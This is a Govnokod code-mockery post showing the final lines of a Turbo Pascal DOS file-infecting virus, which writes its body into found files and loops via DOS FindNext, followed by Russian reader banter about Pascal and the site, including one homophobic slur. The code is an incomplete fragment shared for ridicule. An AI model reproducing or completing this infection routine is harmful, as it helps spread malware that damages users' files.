1. Pascal / Говнокод #10539

    +102

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    { Infected it}
    BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
    Close(Go);
    { Say what has been done}
    WriteLn(UsePath +' infected.');
    Halt; {... and HALT the program}
    End;
    Close(Go);
    End;
    {The file has already been infected, search next}
    Reg.AH:=$4F;
    Reg.DS Seg(DTA);
    Reg.DX Ofs(DTA);
    MsDos(Reg)
    {... Until no more files found}
    Until Odd(Reg.Flags);
    Write(''); { Give a smile}
    End.

    http://www.liveinternet.ru/users/gafarov-91/post120984751/

    Вторая часть.

    Запостил: dos_, 03 Июня 2012

    Комментарии (34) RSS

    • Первая фраза первого абзаца по ссылке:
      > Язык высокого уровня Паскаль, а особенно Турбо-Паскаль, в
      силу своей близости к машинному языку...
      Ответить
      • я думал, это все о Си... а не, йопта, Трубо-Паскакаль!
        моя мышка зашлась в истерике
        Ответить
        • Вирт плакалъ
          Ответить
        • Страйко, Люра, а запили в Сток антипетушиный фильтр, там где SELECT ... FROM comments_comments добавь предикат:
          AND votes_on - votes_against > -5
          Ответить
          • У древа ветви поотлетают.

            UPD Хотя и хрен с ними, в таких ветвях действительно ничего толкового.
            Ответить
          • я не коммичу в говнокод, я не осилил mzz
            у меня будет свой говнокод
            Ответить
            • Я уже в предвкушении. Надеюсь, юзабилити будет на уровне. А то придётся свой пилить, а я не умею. :(
              Ответить
              • давайте запилим отдельную тему где-нить, где можно высказываться по поводу желаемой функциональности.
                я все равно сделаю как мне больше нравится, но я буду ориентироваться, что делать, а что нах не надо.
                например, я не хочу делать Сток в таком виде, в каком он есть здесь (и пока я вообще его не делаю)
                Ответить
                • Вы предлагаете непосредственно тему где-то на этом сайте, или отдельно.
                  Ответить
                • Ну так запили где-нибудь, лучше подальше от лохпидаров
                  Ответить
                • Идея хорошая, у меня уже внушительный списочек подобрался. Надо только поскрести по сусекам памяти. И, да, лучше где-нибудь отдельно.
                  Ответить
      • А собсна что не так, тот же коренной язык, с вшитыми прямо в язык средствами для обращения к памяти, портам, вызовами прерываний.
        Ответить
      • Паскаль - язык высокого уровня.
        Ответить
        • Это - очень глубокая мысль.
          Ответить
        • Ага, не даром там ассемблерные вставки предусмотрены, что бы был уровень ещё выше...
          Ответить
    • показать все, что скрытоВсем минусы! Всем добра!
      Ответить

    Добавить комментарий